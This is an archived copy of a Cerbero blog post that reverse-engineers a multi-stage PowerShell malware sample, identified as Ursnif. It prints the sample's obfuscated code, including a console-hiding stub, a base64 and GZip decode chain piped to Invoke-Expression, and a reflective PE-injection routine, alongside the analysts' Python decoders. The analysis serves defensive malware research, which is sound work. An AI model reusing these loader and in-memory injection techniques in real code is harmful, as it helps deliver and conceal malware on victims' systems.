{
	"id": "fb66d053-e31e-4a3b-9839-4c236c3991f3",
	"created_at": "2026-04-06T00:14:16.065104Z",
	"updated_at": "2026-04-10T03:21:15.301447Z",
	"deleted_at": null,
	"sha1_hash": "b6ac1c8df2b5d023227b9f98575b92131abdfbed",
	"title": "Reversing Complex PowerShell Malware – Cerbero Blog",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1627579,
	"plain_text": "Reversing Complex PowerShell Malware – Cerbero Blog\r\nPublished: 2023-03-28 · Archived: 2026-04-05 18:29:22 UTC\r\nIn this post we’re going to analyze a multi-stage PowerShell malware, which gives us an opportunity to use our\r\ncommercial PowerShell Beautifier package and its capability to replace variables.\r\nSample SHA2-256: 2840D561ED4F949D7D1DADD626E594B9430DEEB399DB5FF53FC0BB1AD30552AA\r\nInterestingly, the malicious script is detected by only 6 out of 58 engines on VirusTotal.\r\nWe open the script in Cerbero Suite, decode its content and set the language to PowerShell.\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 1 of 16\n\nWe can observe that the code is obfuscated.\r\n# Some body fix this\r\n$OmiltaZ = \"Sh\";\r\n$OmiltaZ += \"owWin\";\r\n$OmiltaZ += \"dow\";\r\n$litoPicomra = \"Get\"\r\n$litoPicomra += \"Current\"\r\n$litoPicomra += \"Process\"\r\n$ifkule = '[DllImport(\"user32.dll\")]'\r\n$ifkule += ' public static extern '\r\n$ifkule += 'bool ShowWi'\r\n$ifkule += 'ndow(int handle, int state);'\r\n$tName = 'Add-T'\r\n$tName += 'ype -name Win -member $i'\r\n$tName += 'fkule -nam'\r\n$tName += 'espace Native'\r\n$tName | iex\r\n$cPr = [System.Diagnostics.Process]::$litoPicomra;\r\n$wndHndl = ($cPr.Invoke() | Get-Process).MainWindowHandle\r\n# Exceptions\r\n[Native.Win]::$OmiltaZ.Invoke($wndHndl, 0)\r\n#\r\n# [operations omitted for brevity]\r\n#\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 2 of 16\n\n$elem41=$elem41.$dbfbda.Invoke(0,1)\r\n$elem41=$elem41.$casda.Invoke(0,\"H\")\r\n$acdukLom += $elem41\r\n$tp= [System.IO.Compression.CompressionMode]::Decompress\r\n$ss = \"System.\"\r\n$ss += \"IO.Me\"\r\n$ss += \"morySt\"\r\n$ss += \"ream\"\r\n$ftcl = \"read\"\r\n$ftcl += \"toend\"\r\nforeach ($element in $acdukLom) {\r\n $data = [System.Convert]::FromBase64String($element)\r\n $ms = New-Object $ss\r\n $ms.Write($data, 0, $data.Length)\r\n $ms.Seek(0,0) | Out-Null\r\n $somObj = New-Object System.IO.Compression.GZipStream($ms, $tp)\r\n $drD = New-Object System.IO.StreamReader($somObj)\r\n $vVar = $drD.$ftcl.Invoke()\r\n $dtPrEr += $vVar\r\n}\r\n$scriptPath = $MyInvocation.MyCommand.Path\r\n$dtPrEr | iex\r\nWe launch the PowerShell Beautifier with all options enabled.\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 3 of 16\n\nThe deobfuscated code is easy to follow.\r\nHowever, there is one glitch in the final loop:\r\n$decompress = [System.IO.Compression.CompressionMode]::Decompress\r\nforeach ($item in $var_190)\r\n{\r\n $from_base64_string_result = [System.Convert]::FromBase64String($item)\r\n $memory_stream = New-Object \"System.IO.MemoryStream\"\r\n $memory_stream.Write-Output($from_base64_string_result, 0, $from_base64_string_result.Length)\r\n $memory_stream.Seek(0, 0) | Out-Null\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 4 of 16\n\n$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, $decompress)\r\n $stream_reader = New-Object System.IO.StreamReader($gzip_stream)\r\n $readtoend_result = $stream_reader.readtoend()\r\n $var_197 = \"\" + $readtoend_result # \u003c- here\r\n}\r\n$my_command._path = $MyInvocation.MyCommand.Path\r\n$var_197 | Invoke-Expression\r\nThe replacement of variables ended up handling one line incorrectly. Looking back at the original code:\r\n$var_197 += $readtoend_result\r\nTherefore, we can adjust the code as follows:\r\nvar_197 = \"\"\r\n$decompress = [System.IO.Compression.CompressionMode]::Decompress\r\nforeach ($item in $var_190)\r\n{\r\n $from_base64_string_result = [System.Convert]::FromBase64String($item)\r\n $memory_stream = New-Object \"System.IO.MemoryStream\"\r\n $memory_stream.Write-Output($from_base64_string_result, 0, $from_base64_string_result.Length)\r\n $memory_stream.Seek(0, 0) | Out-Null\r\n $gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, $decompress)\r\n $stream_reader = New-Object System.IO.StreamReader($gzip_stream)\r\n $readtoend_result = $stream_reader.readtoend()\r\n $var_197 += $readtoend_result\r\n}\r\n$my_command._path = $MyInvocation.MyCommand.Path\r\n$var_197 | Invoke-Expression\r\nThe code creates an array of strings:\r\n'Add-Type -name Win -member $ifkule -namespace Native' | Invoke-Expression\r\n$get_current_process = [System.Diagnostics.Process]::GetCurrentProcess;\r\n$var_15 = ($get_current_process.Invoke() | Get-Process).MainWindowHandle\r\n[Native.Win]::ShowWindow($var_15, 0)\r\n$var_16 = @()\r\n$var_26 = $var_16 + \"H4sIAAAAAAA...\"\r\nIt then decodes each string in the array using base64, decompresses the decoded bytes with GZip and then\r\nconcatenates the end result into one string which is then passed to “Invoke-Expression”.\r\nThe following is a small Python script to perform the decoding operations.\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 5 of 16\n\nfrom Pro.GZ import *\nimport base64\ndef deobfuscate(fname):\n with open(fname, \"rb\") as f:\n data = f.read()\n out = bytearray()\n i = 0\n while True:\n i = data.find(b'\"H4', i)\n if i == -1:\n break\n e = data.find(b'\"', i+3)\n s = base64.b64decode(data[i+1:e])\n i = e + 1\n c = NTContainer()\n c.setData(s)\n obj = GZObject()\n obj.Load(c)\n r = obj.GetCompressedRange()\n c = c.clone()\n c.setRange(r.offset, r.size)\n c = applyFilters(c, \"\", False)\n out += c.read(0, c.size())\n with open(fname + \"_output\", \"wb\") as f:\n f.write(out)\nhttps://blog.cerbero.io/?p=2617\nPage 6 of 16\n\nThe script takes as input the file name on disk of the beautified PowerShell script and writes out the result of the\r\ndecoding, which is another PowerShell script.\r\nEven though the code is obfuscated, it is clear that it injects a PE into memory. After having already observed that\r\nand extracted the PE, we figured out that probably the PowerShell injection code was lifted from the web. In fact,\r\nby searching for an error string we could find a blog post by Joe Bialek, which links to his GitHub repository.\r\nFor instance, this is a function in the malware:\r\nFunction Copy-awgwBB\r\n{\r\nParam(\r\n[Parameter(Position = 0, Mandatory = $true)]\r\n[Byte[]]\r\n$LdDataHpo,\r\n[Parameter(Position = 1, Mandatory = $true)]\r\n[System.Object]\r\n$ZpZeTj,\r\n[Parameter(Position = 2, Mandatory = $true)]\r\n[System.Object]\r\n$Win32Functions,\r\n[Parameter(Position = 3, Mandatory = $true)]\r\n[System.Object]\r\n$Win32Types\r\n)\r\nfor( $i = 0; $i -lt $ZpZeTj.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)\r\n{\r\n[IntPtr]$SectionHeaderPtr = [IntPtr](Add-HyLchV ([Int64]$ZpZeTj.SectionHeade\r\n$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Se\r\n[IntPtr]$SectionDestAddr = [IntPtr](Add-HyLchV ([Int64]$ZpZeTj.PEHandle) ([In\r\n$SizeOfRawData = $SectionHeader.SizeOfRawData\r\nif ($SectionHeader.PointerToRawData -eq 0)\r\n{\r\n$SizeOfRawData = 0\r\n}\r\nif ($SizeOfRawData -gt $SectionHeader.VirtualSize)\r\n{\r\n$SizeOfRawData = $SectionHeader.VirtualSize\r\n}\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 7 of 16\n\nif ($SizeOfRawData -gt 0)\r\n{\r\nTest-JiHDqn -DebugString \"Copy-awgwBB::MarshalCopy\" -ZpZeTj $ZpZeTj -\r\n[System.Runtime.InteropServices.Marshal]::Copy($LdDataHpo, [Int32]$Se\r\n}\r\nif ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)\r\n{\r\n$Difference = $SectionHeader.VirtualSize - $SizeOfRawData\r\n[IntPtr]$StartAddress = [IntPtr](Add-HyLchV ([Int64]$SectionDestAddr\r\nTest-JiHDqn -DebugString \"Copy-awgwBB::Memset\" -ZpZeTj $ZpZeTj -Start\r\n$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference)\r\n}\r\n}\r\n}\r\nAnd this is the same function in Joe Bialek’s code:\r\nFunction Copy-Sections\r\n{\r\nParam(\r\n[Parameter(Position = 0, Mandatory = $true)]\r\n[Byte[]]\r\n$PEBytes,\r\n[Parameter(Position = 1, Mandatory = $true)]\r\n[System.Object]\r\n$PEInfo,\r\n[Parameter(Position = 2, Mandatory = $true)]\r\n[System.Object]\r\n$Win32Functions,\r\n[Parameter(Position = 3, Mandatory = $true)]\r\n[System.Object]\r\n$Win32Types\r\n)\r\nfor( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)\r\n{\r\n[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo\r\n$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Se\r\n#Address to copy the section to\r\n[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.P\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 8 of 16\n\n#SizeOfRawData is the size of the data on disk, VirtualSize is the minimum sp\r\n# in memory for the section. If VirtualSize \u003e SizeOfRawData, pad the extra\r\n# SizeOfRawData \u003e VirtualSize, it is because the section stored on disk ha\r\n# so truncate SizeOfRawData to VirtualSize\r\n$SizeOfRawData = $SectionHeader.SizeOfRawData\r\nif ($SectionHeader.PointerToRawData -eq 0)\r\n{\r\n$SizeOfRawData = 0\r\n}\r\nif ($SizeOfRawData -gt $SectionHeader.VirtualSize)\r\n{\r\n$SizeOfRawData = $SectionHeader.VirtualSize\r\n}\r\nif ($SizeOfRawData -gt 0)\r\n{\r\nTest-MemoryRangeValid -DebugString \"Copy-Sections::MarshalCopy\" -PEIn\r\n[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$Sect\r\n}\r\n#If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra spa\r\nif ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)\r\n{\r\n$Difference = $SectionHeader.VirtualSize - $SizeOfRawData\r\n[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$Sec\r\nTest-MemoryRangeValid -DebugString \"Copy-Sections::Memset\" -PEInfo $P\r\n$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference)\r\n}\r\n}\r\n}\r\nObfuscation aside, the functions are identical.\r\nIn the malicious script the PE is encoded using base64 strings:\r\n[byte[]] $mbVar\r\n$mbVar += [System.Convert]::FromBase64String(\"qlqQAAMAAAAEAAAA..\")\r\n$mbVar += [System.Convert]::FromBase64String(\"M/9IiXtYS...\")\r\n$mbVar += [System.Convert]::FromBase64String(\"GBBIi/JIi+lyBU2..\");\r\n# etc.\r\n$mbVar1 = [System.Convert]::FromBase64String(\"0KjYqOCo6Kg...\");\r\n$mbVar += $mbVar1\r\n$Wzrnmd = $mbVar\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 9 of 16\n\n$Wzrnmd[0] = 0x4d\r\nSo the scripts decodes many base64 strings, concatenates the result and then replaces the first character of the byte\r\narray with 0x4D (which is the ‘M’ character in the “MZ” signature).\r\nWe copied the list of base64 operations to a separate file and wrote a small Python script to extract the final PE for\r\nus.\r\nimport base64\r\ndef deobfuscate(fname):\r\n with open(fname, \"rb\") as f:\r\n data = f.read()\r\n out = bytearray()\r\n i = 0\r\n while True:\r\n i = data.find(b'g(\"', i)\r\n if i == -1:\r\n break\r\n e = data.find(b'\"', i+3)\r\n out += base64.b64decode(data[i+1:e])\r\n i = e + 1\r\n out[0] = 77\r\n with open(fname + \"_output\", \"wb\") as f:\r\n f.write(out)\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 10 of 16\n\nNow we can analyze the injected PE (SHA2-256:\r\n7751A09B3C1146B5DB72BE1218287DA6FD4C65813A1EB9AE5E0389DB879DAAEB).\r\nThe PowerShell scripts calls two methods in the module after it was loaded:\r\nif (($ZpZeTj.FileType -ieq \"DLL\") -and ($RemoteProcHandle -eq [IntPtr]::Zero))\r\n{\r\n[IntPtr]$Jskadx = Get-qRdmSS -PEHandle $PEHandle -FunctionName \"kDVMjxaxZYsr\r\n[IntPtr]$PathToSelf = Get-qRdmSS -PEHandle $PEHandle -FunctionName \"setPath\"\r\n$mPth = $global:scriptPath\r\n$scriptPathPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAns\r\nif ($Jskadx -ne [IntPtr]::Zero)\r\n{\r\n$VoidFuncDelegate = Get-yMmHLP @() ([Bool])\r\n$VoidFunc = $tVar::$pName.Invoke($Jskadx, $VoidFuncDelegate)\r\n$VoidSelfDelegate = Get-yMmHLP @([IntPtr]) ([Bool])\r\n$VoidSelf = $tVar::$pName.Invoke($PathToSelf, $VoidSelfDelegate)\r\n$VoidSelf.Invoke($scriptPathPtr)\r\n$VoidFunc.Invoke()\r\n}\r\n}\r\nIt calls “kDVMjxaxZYsr” and “setPath”. These are also the only exported functions by the module.\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 11 of 16\n\nLooking at the code of one of the exported functions, we can notice that it just calls an internal function pointer.\r\nvoid __fastcall setPath(void)\r\n{\r\n if (*(code **)0x180171460 != (code *)0x0) {\r\n // WARNING: Could not recover jumptable at 0x00018000104c. Too many branches\r\n // WARNING: Treating indirect jump as call\r\n (**(code **)0x180171460)();\r\n return;\r\n }\r\n return;\r\n}\r\nAnalyzing the code from the entry point, we see where the function pointer is resolved.\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 12 of 16\n\n*(unk64_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)0x180171468, \"setPath\");\r\nAnalyzing the code, we noticed that the module loads another module and then resolves the “kDVMjxaxZYsr”\r\nand “setPath” from it.\r\nSo the module acts just as a proxy to another module and forwards its exports to it.\r\nTo find the other module we just searched for the “MZ” string in the hex view. The third hit got us to an embedded\r\nPE.\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 13 of 16\n\nWe can, of course, just press Ctrl+E and load the embedded PE, but to be more accurate we first selected the data\r\nbelonging to the PE. In fact, we know the size of the embedded PE from the following lines:\r\nvoid __fastcall initDLL(void)\r\n{\r\n uint64_t payload_base;\r\n unk64_t payload_size;\r\n \r\n payload_size = 0x169A00;\r\n payload_base = 0x180007320;\r\n allocSpecialMemory(100);\r\n *(int64_t *)0x180171468 = internalLoad(\u0026payload_base);\r\n if (*(int64_t *)0x180171468 != 0) {\r\n *(unk64_t *)0x180171458 = (*_GetProcAddress)(*(int64_t *)0x180171468, \"dataCheck\");\r\n *(unk64_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)0x180171468, \"setPath\");\r\n }\r\n return;\r\nHence, we know that the size is 0x169A00 and we press Ctrl+G to select the data.\r\nNow that the data is selected we can load it as an embedded object (Ctrl+E).\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 14 of 16\n\nThe embedded module indeed exports the actual functions which are being called by the proxy module.\r\nThe final module (SHA2-256:\r\nA41DEED7A7BC99F4B45490E4572114B8CC2DD11F2301D954A59DEE67FA3CCA63) is not obfuscated and\r\ncan be analyzed.\r\nIn the screenshot we can see some anti-reversing checks.\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 15 of 16\n\nWe have uploaded the final payload to VirusTotal and this time more engines detected the threat, although only 28\r\nout of 69.\r\nThe name of the malware appears to be “Ursnif”.\r\nSource: https://blog.cerbero.io/?p=2617\r\nhttps://blog.cerbero.io/?p=2617\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.cerbero.io/?p=2617"
	],
	"report_names": [
		"?p=2617"
	],
	"threat_actors": [],
	"ts_created_at": 1775434456,
	"ts_updated_at": 1775791275,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b6ac1c8df2b5d023227b9f98575b92131abdfbed.pdf",
		"text": "https://archive.orkl.eu/b6ac1c8df2b5d023227b9f98575b92131abdfbed.txt",
		"img": "https://archive.orkl.eu/b6ac1c8df2b5d023227b9f98575b92131abdfbed.jpg"
	}
}